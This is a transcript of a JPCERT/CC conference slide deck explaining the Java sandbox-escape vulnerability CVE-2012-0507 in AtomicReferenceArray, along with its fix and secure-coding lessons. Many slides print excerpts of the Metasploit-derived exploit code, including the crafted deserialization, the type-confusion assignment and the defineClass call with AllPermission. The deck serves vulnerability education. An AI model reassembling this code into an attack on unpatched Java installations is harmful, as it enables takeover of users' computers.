SlideShare uma empresa Scribd logo
1 de 45
Baixar para ler offline
Oracle Java 標準ライブラリ
AtomicReferenceArray クラスにおける
デシリアライズに関する脆弱性
(CVE-2012-0507)
2014年年5⽉月18⽇日(⽇日)
JPCERT/CC 情報流流通対策グループ
⼾戸⽥田  洋三  (yozo.toda@jpcert.or.jp)
1
JJUG CCC 2014 Spring
Copyright©2014 JPCERT/CC All rights reserved.
自己紹介	
http://www.tomo.gr.jp/root/e9706.html	

JPCERT/CC
情報流流通対策グループ  解析チーム
リードアナリスト    ⼾戸⽥田  洋三
脆弱性情報分析, セキュアコー
ディング普及啓発活動…… に努
めてます
2
Copyright©2014 JPCERT/CC All rights reserved.
JPCERT/CCとは	
JPCERT  Coordination  Center
⽇日本における情報セキュリ
ティ対策活動の向上に取り組
んでいる組織
3
Copyright©2014 JPCERT/CC All rights reserved.
JPCERT/CCの主な活動	
4
Copyright©2014 JPCERT/CC All rights reserved.5
セキュアコーディングの普及啓発には…
!  具体的な事例例紹介が有効
̶— コーディングルールの根拠
̶— 被害につながることを実感
̶— 攻撃者の視点に興味を持つ
より多くのJavaアプリの脆弱性事例例と、
そこから得られる教訓を紹介する
Copyright©2014 JPCERT/CC All rights reserved.6
事例例解説資料料使ってね
Copyright©2014 JPCERT/CC All rights reserved.7
では本編です…
Copyright©2014 JPCERT/CC All rights reserved.
本⽇日のテーマ
8
JRE標準ライブラリの脆弱性事例例を
理理解する
(AtomicReferenceArrayクラス  と  Type Confusion)
(CVE-2012-0507)
Copyright©2014 JPCERT/CC All rights reserved.
CVE-2012-0507 概要
•  AtomicReferenceArray クラスはシリアライズ可能なク
ラスとして定義されている。しかし、シリアライズデー
タの復復元時に適切切な検証を⾏行行っていなかった。
•  細⼯工したシリアライズデータを復復元させることにより、
ClassLoader クラスのサブクラスのインスタンスを⽣生成
させることができ、サンドボックス内で実⾏行行されている  
applet から任意のクラスやそのインスタンスを⽣生成して
サンドボックスの外で実⾏行行させることが可能になってし
まっていた。
9
Copyright©2014 JPCERT/CC All rights reserved.
Exploit デモ
10
http://pentestlab.wordpress.com/2012/03/30/java-exploit-
attack-cve-2012-0507/
などが参考になります…
ごめんなさい.
環境の準備が間に合いませんでした.
Copyright©2014 JPCERT/CC All rights reserved.
Java  Applet  を使った攻撃
11
攻撃者サーバ
細⼯工された
applet利利⽤用者
l Applet から、サンドボックスの制限を越えて任意のコ
マンドを実⾏行行される
²  例例: Runtime::exec メソッドを使ってOSコマンドを実⾏行行可能
l 利利⽤用者の端末を乗っ取られる可能性がある。
• アプレットはサーバ(信頼境界の外側)からやってくる
信頼できないコード
• PC上のファイル改ざんや情報漏漏えいの危険がある
Copyright©2014 JPCERT/CC All rights reserved.
攻撃者の視点…
12
Webブラウザ上で実⾏行行されるappletから  
ClassLoader を使ってアクセス権限に制限のつか
ない状態のクラスを⽣生成したい
(java コードを実⾏行行したい)…
Copyright©2014 JPCERT/CC All rights reserved.
ClassLoader  と  defineClass メソッド
13
protected final Class<?> defineClass(String name, byte[] b,
int off, int len, ProtectionDomain protectionDomain)
•  name ----  クラスのバイナリ名
•  b ---- クラスデータを構成する  byte データ
•  off ---- クラスデータ中の  b の先頭位置
•  len ---- クラスデータの⻑⾧長さ
•  protectionDomain ---- このクラスの  ProtectionDomain
! ClassLoader クラスの  defineClass メソッドを使うと
新たなクラスを定義できる.
Copyright©2014 JPCERT/CC All rights reserved.14
class Help extends ClassLoader {
                    :
  ByteArrayOutputStream bos = new ByteArrayOutputStream();
  byte[] buffer = new byte[8192];
                    :
  buffer = bos.toByteArray();
  URL url = new URL( "file:///" );
  Certificate[] certs = new Certificate[0];
  Permissions perm = new Permissions();
  perm.add( new AllPermission() );
  ProtectionDomain pd =
new ProtectionDomain( new CodeSource( url, certs ), perm );
  cls = defineClass(className, buffer, 0, buffer.length, pd );
  Class class_cls = cls.getClass();
                    :
}
defineClass メソッドの使⽤用例例
Copyright©2014 JPCERT/CC All rights reserved.15
class Help extends ClassLoader {
                    :
  ByteArrayOutputStream bos = new ByteArrayOutputStream();
  byte[] buffer = new byte[8192];
                    :
  buffer = bos.toByteArray();
  URL url = new URL( "file:///" );
  Certificate[] certs = new Certificate[0];
  Permissions perm = new Permissions();
  perm.add( new AllPermission() );
  ProtectionDomain pd =
new ProtectionDomain( new CodeSource( url, certs ), perm );
  cls = defineClass(className, buffer, 0, buffer.length, pd );
  Class class_cls = cls.getClass();
                    :
}
コード位置.
“file:///” は全てのローカルファ
イルを意味する.
システムリソースへのアクセス権.
“AllPermission()” は全てのアクセ
ス権の許可を意味する (読み取り,
書き込み, 実⾏行行)
defineClass メソッドの使⽤用例例
定義されるクラスは全てのローカルファイ
ルに対して全てのアクセス権が許可される
(読み取り, 書き込み, 実⾏行行)
クラスデータを構成するバイトデータ
Copyright©2014 JPCERT/CC All rights reserved.
! ClassLoader は抽象クラス
— “new” でインスタンスを⽣生成できない
! defineClass は  protected メソッド
— クラス外部から呼び出すことはできない
16
defineClass メソッドを使いたい…
攻撃に使うにはClassLoader の
サブクラスが必要…
Copyright©2014 JPCERT/CC All rights reserved.
! ClassLoader のインスタンスを作りたい
ClassLoader cl = new ClassLoader();
ClassLoader は抽象クラスなので  
new することはできない
17
Designing Malicious Applets(1)
!   既に存在する  ClassLoader のインスタンスをゲットする
ClassLoader cl = getClass().getClassLoader();
prohibited
allowed
しかし…
defineClass は  protected メソッドなので
クラス外部から呼び出すことはできない
なんとか  ClassLoader のサブクラスを
⽤用意できないか?
Copyright©2014 JPCERT/CC All rights reserved.
! ClassLoader のサブクラスを定義してインスタンスを作ったら?
18
public class Help extends ClassLoader() { ... }
Help ahelp = new Help();
Runtime Exception サンドボックス内では
制限されている
ClassLoader のインスタンス⾃自⾝身をサブクラスのイン
スタンスとして扱えないか?
! ClassLoader のインスタンスをサブクラスのフィールド
に代⼊入?
Help ahelp = (Help)getClass().getClassLoader();
このような代⼊入操作は⾔言語仕
様上禁⽌止されている
Designing Malicious Applets(2)
prohibited
Runtime Exception
Copyright©2014 JPCERT/CC All rights reserved.
Type Confusion Vulnerability
19
Help ahelp = (Help)getClass().getClassLoader();
Type confusion の脆弱性により、⾔言語レベルで禁⽌止
されていたはずの代⼊入操作を⾏行行うことができる!
通常、サブクラスへの代⼊入
は型システムによって禁⽌止
されている
atomicreferencearray.set(0, classloader);
AtomicReferenceArray クラスには  type confusion の脆弱
性が存在し、set メソッドによって本来禁⽌止されているはず
の代⼊入操作を⾏行行うことが可能になってしまっている
Copyright©2014 JPCERT/CC All rights reserved.
AtomicReferenceArray クラス
! java.util.concurrent.atomic パッケージに収められてい
る
!   「要素を原⼦子的に更更新可能なオブジェクト参照の配列列で
す。」(Java SE API リファレンスより)
!   シリアライズ可能
!   独⾃自の  readObject メソッドは持っていない
20
Copyright©2014 JPCERT/CC All rights reserved.
AtomicReferenceArray のソースコード
21
import sun.misc.Unsafe;
                        :
public class AtomicReferenceArray<E> implements java.io.Serializable {
private static final Unsafe unsafe = Unsafe.getUnsafe();
:
private final Object[] array;
:
private long checkedByteOffset(int i) {
return (…calculating offset and boundary check …);
}
:
public final void set(int i, E newValue) {
unsafe.putObjectVolatile(array, checkedByteOffset(i), newValue);
}
AtomicReferenceArray.java
set メソッドで使われるオフ
セットを計算
array に  newValue
を書き込む
シリアライズ可能なクラス
Copyright©2014 JPCERT/CC All rights reserved.
AtomicReferenceArray のソースコード
22
import sun.misc.Unsafe;
                        :
public class AtomicReferenceArray<E> implements java.io.Serializable {
private static final Unsafe unsafe = Unsafe.getUnsafe();
:
private final Object[] array;
:
private long checkedByteOffset(int i) {
return (…calculating offset and boundary check …);
}
:
public final void set(int i, E newValue) {
unsafe.putObjectVolatile(array, checkedByteOffset(i), newValue);
}
AtomicReferenceArray.java
set メソッドで使われるオフ
セットを計算
array に  newValue
を書き込む
シリアライズ可能なクラス
unsafe.putObjectVolatile(Object o, long offset, Object x)
引数の型が適切切なものであることをチェックせずに
x の値を  o  に書き込む.
Copyright©2014 JPCERT/CC All rights reserved.
http://www.rapid7.com/db/modules/exploit/multi/browser/java_atomicreferencearray
23
l Exploit class
(Appletのサブクラス)
Exploit code
l AtomicReferenceArray クラス        
l Unsafe クラス
(AtomicReferenceArray classから
呼び出される)
JRE標準API
l Help class
(ClassLoaderのサブクラス)
Exploit Code for CVE-2012-0507
Metasploit のモジュールにある攻撃コードをベースに説
明します。
Copyright©2014 JPCERT/CC All rights reserved.24
public class Exploit extends Applet {
     :
  public static byte[] StringToBytes(String s) { return (converts s to byte data); }
  public void init() {
    String as[] = {
          “ACED0005757200135B4C6A6176612E6C616E672E4F62”, (16進表記されたシリアライズデータ…)
    };
    StringBuilder stringbuilder = new StringBuilder();
    for(int i = 0; i < as.length; i++) stringbuilder.append(as[i]);
    ObjectInputStream objectinputstream =
        new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString())));
    Object aobj[] = (Object[])objectinputstream.readObject();
    Help ahelp[] = (Help[])aobj[0];
    AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1];
    ClassLoader classloader = getClass().getClassLoader();
    atomicreferencearray.set(0, classloader);
    Help _tmp = ahelp[0];
:
    Help.doWork(ahelp[0], this, …);
}
Exploit.java
Exploit Code for CVE-2012-0507
Copyright©2014 JPCERT/CC All rights reserved.25
public class Exploit extends Applet {
     :
  public static byte[] StringToBytes(String s) { return (converts s to byte data); }
  public void init() {
    String as[] = {
          “ACED0005757200135B4C6A6176612E6C616E672E4F62”, (serialized data in hexadecimal…)
    };
    StringBuilder stringbuilder = new StringBuilder();
    for(int i = 0; i < as.length; i++) stringbuilder.append(as[i]);
    ObjectInputStream objectinputstream =
        new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString())));
    Object aobj[] = (Object[])objectinputstream.readObject();
    Help ahelp[] = (Help[])aobj[0];
    AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1];
    ClassLoader classloader = getClass().getClassLoader();
    atomicreferencearray.set(0, classloader);
    Help _tmp = ahelp[0];
:
    Help.doWork(ahelp[0], this, …);
}
Exploit.java
Exploit Code for CVE-2012-0507
aobj[0]
aobj[1]
Help[] ahelp[]
AtomicReferenceArray atomicreferencearray
private Object [] array
Object aobj[]
array 変数は  ahelp を参照す
るように細⼯工されている
シリアライズデータの内部構造
Copyright©2014 JPCERT/CC All rights reserved.
!   array 変数は  ahelp を参照するように細⼯工され
ている
!   array への代⼊入操作は  ahelp への代⼊入となり、
ahelp を通じて参照できるようになる
26
通常の Java のコードからはこのよう
な不不正なデータ構造はつくられない
Exploit Code for CVE-2012-0507
aobj[0]
aobj[1]
Help[] ahelp[]
AtomicReferenceArray atomicreferencearray
private Object [] array
Object aobj[]
Copyright©2014 JPCERT/CC All rights reserved.27
public class Exploit extends Applet {
     :
  public static byte[] StringToBytes(String s) { return (converts s to byte data); }
  public void init() {
    String as[] = {
          “ACED0005757200135B4C6A6176612E6C616E672E4F62”, (serialized data in hexadecimal…)
    };
    StringBuilder stringbuilder = new StringBuilder();
    for(int i = 0; i < as.length; i++) stringbuilder.append(as[i]);
    ObjectInputStream objectinputstream =
        new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString())));
    Object aobj[] = (Object[])objectinputstream.readObject();
    Help ahelp[] = (Help[])aobj[0];
    AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1];
    ClassLoader classloader = getClass().getClassLoader();
    atomicreferencearray.set(0, classloader);
    Help _tmp = ahelp[0];
:
    Help.doWork(ahelp[0], this, …);
}
Exploit.java
Exploit Code for CVE-2012-0507
aobj[0]
aobj[1]
Help[] ahelp[]
AtomicReferenceArray atomicreferencearray
private Object [] array
Object aobj[]
ClassLoader
Classloader オブジェクトが  
array[0]  に代⼊入される, これ
は  ahelp[0] への代⼊入が⾏行行わ
れたことになる
Copyright©2014 JPCERT/CC All rights reserved.28
public class Exploit extends Applet {
     :
  public static byte[] StringToBytes(String s) { return (converts s to byte data); }
  public void init() {
    String as[] = {
          “ACED0005757200135B4C6A6176612E6C616E672E4F62”, (serialized data in hexadecimal…)
    };
    StringBuilder stringbuilder = new StringBuilder();
    for(int i = 0; i < as.length; i++) stringbuilder.append(as[i]);
    ObjectInputStream objectinputstream =
        new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString())));
    Object aobj[] = (Object[])objectinputstream.readObject();
    Help ahelp[] = (Help[])aobj[0];
    AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1];
    ClassLoader classloader = getClass().getClassLoader();
    atomicreferencearray.set(0, classloader);
    Help _tmp = ahelp[0];
:
    Help.doWork(ahelp[0], this, …);
}
Exploit.java
Exploit Code for CVE-2012-0507
public class Help extends ClassLoader implements Serializable {
public static void doWork(Help h, Exploit expl,
String data, String jar, String lhost, int lport) {
Class cls = null;
                :
                cls = h.defineClass( ...);
                :
}
}
Help は  ClassLoader のサブクラスなので  
defineClass メソッドを呼び出すことが可能
Help.java
Help は  ClassLoader  のサブクラス
Copyright©2014 JPCERT/CC All rights reserved.29
public class Help extends ClassLoader implements Serializable {
public static void doWork(Help h, Exploit expl, String data, String jar, String lhost, int lport) {
                  :
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buffer = new byte[8192];
InputStream is = expl.getClass().getResourceAsStream(“directory path to create”);
            while( ( length = is.read( buffer ) ) > 0 )
                      bos.write( buffer, 0, length );
            buffer = bos.toByteArray();
URL url = new URL( "file:///" );
Certificate[] certs = new Certificate[0];
Permissions perm = new Permissions();
perm.add( new AllPermission() );
ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm );
cls = h.defineClass( classNames[index], buffer, 0, buffer.length, pd );
Class class_cls = cls.getClass();
                  :
}
}
Help.java
Helpクラス(doWorkメソッド)は任意の権限を持ったク
ラスを⽣生成できる.
Exploit Code for CVE-2012-0507
Copyright©2014 JPCERT/CC All rights reserved.30
public class Help extends ClassLoader implements Serializable {
public static void doWork(Help h, Exploit expl, String data, String jar, String lhost, int lport) {
                  :
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buffer = new byte[8192];
InputStream is = expl.getClass().getResourceAsStream(“directory path to create”);
            while( ( length = is.read( buffer ) ) > 0 )
                      bos.write( buffer, 0, length );
            buffer = bos.toByteArray();
URL url = new URL( "file:///" );
Certificate[] certs = new Certificate[0];
Permissions perm = new Permissions();
perm.add( new AllPermission() );
ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm );
cls = h.defineClass( classNames[index], buffer, 0, buffer.length, pd );
Class class_cls = cls.getClass();
                  :
}
}
Help.java
Helpクラス(doWorkメソッド)は任意の権限を持ったク
ラスを⽣生成できる.
コード位置.
“file:///” は任意のローカルファイルを表す.
⽣生成するクラスの
バイトストリームデータ
Exploit Code for CVE-2012-0507
システムリソースへのアクセス権.
“AllPermission()” は全てのアクセス権の許可
を意味する (読み取り, 書き込み, 実⾏行行)
定義されるクラスは全てのローカルファイ
ルに対して全てのアクセス権が許可される
(読み取り, 書き込み, 実⾏行行)
Copyright©2014 JPCERT/CC All rights reserved.31
Malicious Web Site
Exploit
Help
ダウンロード
ClassLoader
サンドボックス
JVM
Attacking class
Help クラスはサンドボックス
による制限がかからないクラス
をつくることができる
defineClass()
Exploit Code for CVE-2012-0507
ここで復復元処理理が⾏行行われている
Copyright©2014 JPCERT/CC All rights reserved.
Why the exploit works?
!   Unsafe クラスは信頼できるクラスからしか使えない想定 (呼び出
し元がブートローダ由来のクラスであることをチェックするように
なっている).
! putObjectVolatile メソッドは引数の型が⼀一致することをチェック
しないままコピー操作を⾏行行っている.
32
!   内部で  Unsafe クラスを使っている
!   シリアライズ可能なクラスであるが、readObject メソッドを独⾃自に
定義していない (デフォルトの復復元処理理ではシリアライズデータの
検証は⾏行行われない)
! AtomicReferenceArray クラスのシリアライズデータを復復元する処
理理において、細⼯工したデータを書き込ませることが可能
Unsafe クラス
AtomicReferenceArray クラス
Copyright©2014 JPCERT/CC All rights reserved.
どのように修正したのか?
! AtomicReferenceArray クラスの復復元処理理で⼊入⼒力力値検証
を⾏行行うようにした
— クラス内部に持っている  array フィールドが配列列型でない
場合、復復元処理理は失敗するようにした
!   独⾃自の  readObject メソッドを⽤用意し、array フィール
ドが必ず  Object  配列列を参照するようにした
— シリアライズデータ中の  array データが  Object 配列列でな
い場合には強制的に  Object 配列列としてコピーする
33
Copyright©2014 JPCERT/CC All rights reserved.
Fixing The Problem
34
この問題はJDK 7u3 で修正された.
public class AtomicReferenceArray<E> implements
java.io.Serializable {
  :
private void readObject(java.io.ObjectInputStream s)
  throws java.io.IOException, ClassNotFoundException {
                :
  }
}
AtomicReferenceArray.java (修正版)
readObject メソッドを追加し、復復元処理理
内容をカスタマイズ
Copyright©2014 JPCERT/CC All rights reserved.35
public class AtomicReferenceArray<E>
implements java.io.Serializable {
……..
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
Object a = s.readFields().get("array", null);
if (a == null || !a.getClass().isArray())
throw new java.io.InvalidObjectException("Not array type");
if (a.getClass() != Object[].class)
a = Arrays.copyOf((Object[])a, Array.getLength(a), Object[].class);
unsafe.putObjectVolatile(this, arrayFieldOffset, a);
}
}
……..
AtomicReferenceArray.java (修正版)
AtomicReferenceArray::readObject
array フィールドのシリア
ライズデータを読み込み
シリアライズデータ
を配列列としてコピーarray フィールドにコピー
配列列型でなかったら
例例外をスロー
Copyright©2014 JPCERT/CC All rights reserved.36
public class AtomicReferenceArray<E>
implements java.io.Serializable {
……..
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
Object a = s.readFields().get("array", null);
if (a == null || !a.getClass().isArray())
throw new java.io.InvalidObjectException("Not array type");
if (a.getClass() != Object[].class)
a = Arrays.copyOf((Object[])a, Array.getLength(a), Object[].class);
unsafe.putObjectVolatile(this, arrayFieldOffset, a);
}
}
……..
AtomicReferenceArray.java (fixed version)
AtomicReferenceArray::readObject
AtomicReferenceArray
private Object [] array
シリアライズデータ array データ
Object
[0]
Object
[1]
Object
[2]
・
・
・
配列列型でなかったら
例例外をスロー
Copyright©2014 JPCERT/CC All rights reserved.37
public class AtomicReferenceArray<E>
implements java.io.Serializable {
……..
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
Object a = s.readFields().get("array", null);
if (a == null || !a.getClass().isArray())
throw new java.io.InvalidObjectException("Not array type");
if (a.getClass() != Object[].class)
a = Arrays.copyOf((Object[])a, Array.getLength(a), Object[].class);
unsafe.putObjectVolatile(this, arrayFieldOffset, a);
}
}
……..
AtomicReferenceArray.java (fixed version)
AtomicReferenceArray::readObject
copying serialized
data as an array
Help
[0]
Help
[1]
Help
[2]
・
・
・
細⼯工された  array データ 正しい  array データ
Object
[0]
Object
[1]
Object
[2]
・
・
・
Help
[0]
Help
[1]
Help
[2]
・
・
・
細⼯工された  array データ 正しい型の  array データ
Object
[0]
Object
[1]
Object
[2]
・
・
・
Object 配列列型でなけ
れば強制的にObject
配列列型にコピーする
AtomicReferenceArray
private Object [] array
シリアライズデータ
Copyright©2014 JPCERT/CC All rights reserved.38
public class AtomicReferenceArray<E>
implements java.io.Serializable {
……..
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
Object a = s.readFields().get("array", null);
if (a == null || !a.getClass().isArray())
throw new java.io.InvalidObjectException("Not array type");
if (a.getClass() != Object[].class)
a = Arrays.copyOf((Object[])a, Array.getLength(a), Object[].class);
unsafe.putObjectVolatile(this, arrayFieldOffset, a);
}
}
……..
AtomicReferenceArray.java (fixed version)
AtomicReferenceArray::readObject
static {
    int scale;
    try {
      unsafe = Unsafe.getUnsafe();
      arrayFieldOffset = unsafe.objectFieldOffset
        (AtomicReferenceArray.class.getDeclaredField("array"));
        base = unsafe.arrayBaseOffset(Object[].class);
        scale = unsafe.arrayIndexScale(Object[].class);
:
}
arrayFieldOffset は
クラス初期化時に
array フィールドの
オフセット値に初期
化される
array フィールドにコピー
Copyright©2014 JPCERT/CC All rights reserved.
Object
[0]
Object
[1]
Object
[2]
・
・
・
What happens if the fixed code is exploited
39
Help[] ahelp[]
AtomicReferenceArray atomicreferencearray
private Object [] array
aobj[0]
aobj[1]
Object aobj[]
ClassLoader
array フィールドはコピーされた配列列を
参照している。ahelp とは別のもの。
その結果、ahelp[0] の値は  null になる。
もしアクセスすると
NullPointerException がスローされる。
Arrays.copyOf(...)
array
Help
[0]
Help
[1]
Help
[2]
・
・
・
ahelp
シリアライズデータが  
Object 配列列型でない場合
強制的に  Object 配列列型に
コピーされる
Copyright©2014 JPCERT/CC All rights reserved.
Note to this fix
!   新たに定義した  readObject メソッドの処理理内容は  
AtomicReferenceArray クラスの内部構造に依存
! AtomicReferenceArray クラスの内部構造を変更更すると
きには  readObject メソッドの処理理もそれに応じて変更更
する必要あり
40
Copyright©2014 JPCERT/CC All rights reserved.
Summary
n 何が問題だったか?
•  復復元処理理で適切切な⼊入⼒力力値検証が⾏行行われていなかっ
た
•  内部のフィールドが参照しているデータが
Object配列列型であることの確認
n 反省省点
•  シリアライズ可能なクラスでは、独⾃自の  
readObject メソッドを定義し, シリアライズデー
タが想定通りのものであることを検証すべき
•  Unsafe クラスのメソッドに渡す引数も想定通り
のものであることを検証すべき
41
Copyright©2014 JPCERT/CC All rights reserved.
Java セキュアコーディングスタンダード
!   SER07-J. 実装上必要となる不不変条件がある場合にはデ
フォルトのシリアライズ形式を使わない
! https://www.jpcert.or.jp/java-rules/ser07-j.html
42
Copyright©2014 JPCERT/CC All rights reserved.
CWE: Common Weakness Enumeration
!   CWE-502: Deserialization of Untrusted Data
! http://cwe.mitre.org/data/definitions/502.html
43
Copyright©2014 JPCERT/CC All rights reserved.
References
!   CVE-2012-0507
— http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0507
!   CVE-2012-0507 Java AtomicReferenceArray Type Violation
Vulnerability
— http://www.rapid7.com/db/modules/exploit/multi/browser/
java_atomicreferencearray
!   Recent Java Exploitation Trends and malware
—  https://media.blackhat.com/bh-us-12/Briefings/Oh/
BH_US_12_Oh_Recent_Java_Exploitation_Trends_and_Malware_Slides.pdf
!   Exploiting Type Confusion Vulnerabilities in Oracle JRE
(CVE-2011-3521/CVE-2012-0507)
— http://schierlm.users.sourceforge.net/TypeConfusion.html
!   The infamous sun.misc.Unsafe explained
— http://www.javacodegeeks.com/2013/12/the-infamous-sun-
misc-unsafe-explained.html
44
Copyright©2014 JPCERT/CC All rights reserved.45
⼀一般社団法⼈人JPCERTコーディネーションセンター
(https://www.jpcert.or.jp/)
セキュアコーディング
(https://www.jpcert.or.jp/securecoding/)
お問い合わせはこちらにどうぞ…
        (secure-‐‑‒coding@jpcert.or.jp)

Mais conteúdo relacionado

Mais procurados

Struts2を始めよう!
Struts2を始めよう!Struts2を始めよう!
Struts2を始めよう!Shinpei Ohtani
 
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (KOF2014)
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (KOF2014)脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (KOF2014)
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (KOF2014)JPCERT Coordination Center
 
デブサミ2015 事例から学ぶAndroidアプリのセキュアコーディング「SSL/TLS証明書検証の現状と対策」
デブサミ2015 事例から学ぶAndroidアプリのセキュアコーディング「SSL/TLS証明書検証の現状と対策」デブサミ2015 事例から学ぶAndroidアプリのセキュアコーディング「SSL/TLS証明書検証の現状と対策」
デブサミ2015 事例から学ぶAndroidアプリのセキュアコーディング「SSL/TLS証明書検証の現状と対策」JPCERT Coordination Center
 
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (JavaDayTokyo2015)
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (JavaDayTokyo2015)脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (JavaDayTokyo2015)
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (JavaDayTokyo2015)JPCERT Coordination Center
 
クロスサイトリクエストフォージェリ(CSRF)とその対策
クロスサイトリクエストフォージェリ(CSRF)とその対策クロスサイトリクエストフォージェリ(CSRF)とその対策
クロスサイトリクエストフォージェリ(CSRF)とその対策JPCERT Coordination Center
 
JBoss Application Server におけるディレクトリトラバーサルの脆弱性
JBoss Application Server におけるディレクトリトラバーサルの脆弱性JBoss Application Server におけるディレクトリトラバーサルの脆弱性
JBoss Application Server におけるディレクトリトラバーサルの脆弱性JPCERT Coordination Center
 
Android Platform の URLConnection に HTTP ヘッダインジェクションの脆弱性
Android Platform の URLConnection に HTTP ヘッダインジェクションの脆弱性Android Platform の URLConnection に HTTP ヘッダインジェクションの脆弱性
Android Platform の URLConnection に HTTP ヘッダインジェクションの脆弱性JPCERT Coordination Center
 
Spring fest2020 spring-security
Spring fest2020 spring-securitySpring fest2020 spring-security
Spring fest2020 spring-security土岐 孝平
 
これで怖くない!?コードリーディングで学ぶSpring Security #中央線Meetup
これで怖くない!?コードリーディングで学ぶSpring Security #中央線Meetupこれで怖くない!?コードリーディングで学ぶSpring Security #中央線Meetup
これで怖くない!?コードリーディングで学ぶSpring Security #中央線MeetupMasatoshi Tada
 
Use JWT access-token on Grails REST API
Use JWT access-token on Grails REST APIUse JWT access-token on Grails REST API
Use JWT access-token on Grails REST APIUehara Junji
 
いろいろなSSL/TLS設定ガイドライン (JNSA電子署名WG 実世界の暗号・認証技術勉強会資料)
いろいろなSSL/TLS設定ガイドライン (JNSA電子署名WG 実世界の暗号・認証技術勉強会資料)いろいろなSSL/TLS設定ガイドライン (JNSA電子署名WG 実世界の暗号・認証技術勉強会資料)
いろいろなSSL/TLS設定ガイドライン (JNSA電子署名WG 実世界の暗号・認証技術勉強会資料)Kenji Urushima
 
Keycloak拡張入門
Keycloak拡張入門Keycloak拡張入門
Keycloak拡張入門Hiroyuki Wada
 
安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014Hiroshi Tokumaru
 
JNSA電子署名WG勉強会 2013.09.30 jsrsasignとjsjwsについて
JNSA電子署名WG勉強会 2013.09.30 jsrsasignとjsjwsについてJNSA電子署名WG勉強会 2013.09.30 jsrsasignとjsjwsについて
JNSA電子署名WG勉強会 2013.09.30 jsrsasignとjsjwsについてKenji Urushima
 
JavaScript.Next
JavaScript.NextJavaScript.Next
JavaScript.Nextdynamis
 
とある診断員とSQLインジェクション
とある診断員とSQLインジェクションとある診断員とSQLインジェクション
とある診断員とSQLインジェクションzaki4649
 
JavaOne 2015 報告会 @ 東京 「About MVC 1.0 & JSON-P」
JavaOne 2015 報告会 @ 東京 「About MVC 1.0 & JSON-P」JavaOne 2015 報告会 @ 東京 「About MVC 1.0 & JSON-P」
JavaOne 2015 報告会 @ 東京 「About MVC 1.0 & JSON-P」Hiroyuki Ohnaka
 
Javascript で暗号化
Javascript で暗号化Javascript で暗号化
Javascript で暗号化suno88
 

Mais procurados (20)

Struts2を始めよう!
Struts2を始めよう!Struts2を始めよう!
Struts2を始めよう!
 
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (KOF2014)
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (KOF2014)脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (KOF2014)
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (KOF2014)
 
デブサミ2015 事例から学ぶAndroidアプリのセキュアコーディング「SSL/TLS証明書検証の現状と対策」
デブサミ2015 事例から学ぶAndroidアプリのセキュアコーディング「SSL/TLS証明書検証の現状と対策」デブサミ2015 事例から学ぶAndroidアプリのセキュアコーディング「SSL/TLS証明書検証の現状と対策」
デブサミ2015 事例から学ぶAndroidアプリのセキュアコーディング「SSL/TLS証明書検証の現状と対策」
 
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (JavaDayTokyo2015)
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (JavaDayTokyo2015)脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (JavaDayTokyo2015)
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (JavaDayTokyo2015)
 
クロスサイトリクエストフォージェリ(CSRF)とその対策
クロスサイトリクエストフォージェリ(CSRF)とその対策クロスサイトリクエストフォージェリ(CSRF)とその対策
クロスサイトリクエストフォージェリ(CSRF)とその対策
 
JBoss Application Server におけるディレクトリトラバーサルの脆弱性
JBoss Application Server におけるディレクトリトラバーサルの脆弱性JBoss Application Server におけるディレクトリトラバーサルの脆弱性
JBoss Application Server におけるディレクトリトラバーサルの脆弱性
 
Android Platform の URLConnection に HTTP ヘッダインジェクションの脆弱性
Android Platform の URLConnection に HTTP ヘッダインジェクションの脆弱性Android Platform の URLConnection に HTTP ヘッダインジェクションの脆弱性
Android Platform の URLConnection に HTTP ヘッダインジェクションの脆弱性
 
Spring fest2020 spring-security
Spring fest2020 spring-securitySpring fest2020 spring-security
Spring fest2020 spring-security
 
これで怖くない!?コードリーディングで学ぶSpring Security #中央線Meetup
これで怖くない!?コードリーディングで学ぶSpring Security #中央線Meetupこれで怖くない!?コードリーディングで学ぶSpring Security #中央線Meetup
これで怖くない!?コードリーディングで学ぶSpring Security #中央線Meetup
 
Java EE8 Report
Java EE8 ReportJava EE8 Report
Java EE8 Report
 
Use JWT access-token on Grails REST API
Use JWT access-token on Grails REST APIUse JWT access-token on Grails REST API
Use JWT access-token on Grails REST API
 
